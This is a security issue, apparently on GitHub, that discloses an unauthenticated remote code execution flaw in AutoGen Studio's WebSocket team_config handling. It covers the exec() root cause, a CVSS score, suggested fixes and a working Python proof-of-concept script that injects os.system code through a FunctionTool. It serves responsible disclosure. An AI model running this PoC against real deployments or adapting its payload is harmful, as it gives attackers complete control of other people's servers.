Skip to content

[Security] Critical: Unauthenticated RCE via WebSocket team_config (CVSS 9.8) #7662

@icysun

Description

@icysun

🔴 Security Report: Unauthenticated RCE via WebSocket team_config (CVSS 9.8)

NOTE: This is a security vulnerability report. Please consider setting this issue to private or transferring to Microsoft Security Response Center (MSRC).

Summary

AutoGen Studio allows unauthenticated remote attackers to achieve arbitrary code execution (RCE) on the hosting server through a three-step attack chain requiring zero prerequisites.

Steps to Reproduce

  1. Create a session: POST /api/sessions/
  2. Create a run: POST /api/runs/ with team_config containing a malicious FunctionTool
  3. Connect via WebSocket: WS /api/ws/runs/{run_id} and send the team_config
  4. FunctionTool._from_config() calls exec(source_code) with attacker-controlled Python code

Root Cause

In autogenstudio/web/ui/chat.py, FunctionTool._from_config() at line 92:

@classmethod
def _from_config(cls, config: dict) -> "FunctionTool":
    source_code = config.get("source_code", "")
    # No sanitization, no sandbox
    namespace = {}
    exec(source_code, namespace)  # Line 92 - Direct code execution
    return cls(name=name, source_code=source_code, ...)

The WebSocket handler (websocket_manager.py) accepts team_config without any validation, and the default AuthConfig sets type="none".

Impact

  • CVSS 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Complete server compromise
  • Works with default configuration (no authentication)
  • No user interaction required

Environment

  • AutoGen Studio v0.4+
  • Default Docker deployment
  • Python 3.10+

Suggested Fix

  1. Enable authentication by default
  2. Add input validation to FunctionTool source_code
  3. Execute code in a sandboxed environment

PoC

# poc_autogen_studio_ws_rce.py
import asyncio, json, websockets, requests

BASE = "http://target:8080"

# Step 1: Create session
r = requests.post(f"{BASE}/api/sessions/")
session_id = r.json()["session_id"]

# Step 2: Create run with malicious team_config
team_config = {
    "teams": [{
        "participants": [{
            "source_code": "import os; os.system('id > /tmp/pwned')",
            "name": "pwn", "component_type": "function_tool"
        }]
    }]
}
r = requests.post(f"{BASE}/api/runs/", json={"session_id": session_id, "team_config": team_config})
run_id = r.json()["run_id"]

# Step 3: Trigger via WebSocket
async def exploit():
    async with websockets.connect(f"ws://target:8080/api/ws/runs/{run_id}") as ws:
        await ws.send(json.dumps({"type": "team_config", "data": team_config}))
        print(await ws.recv())

asyncio.run(exploit())

Full PoC and detailed report available upon request.

Discoverer: icysun ([email protected])

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions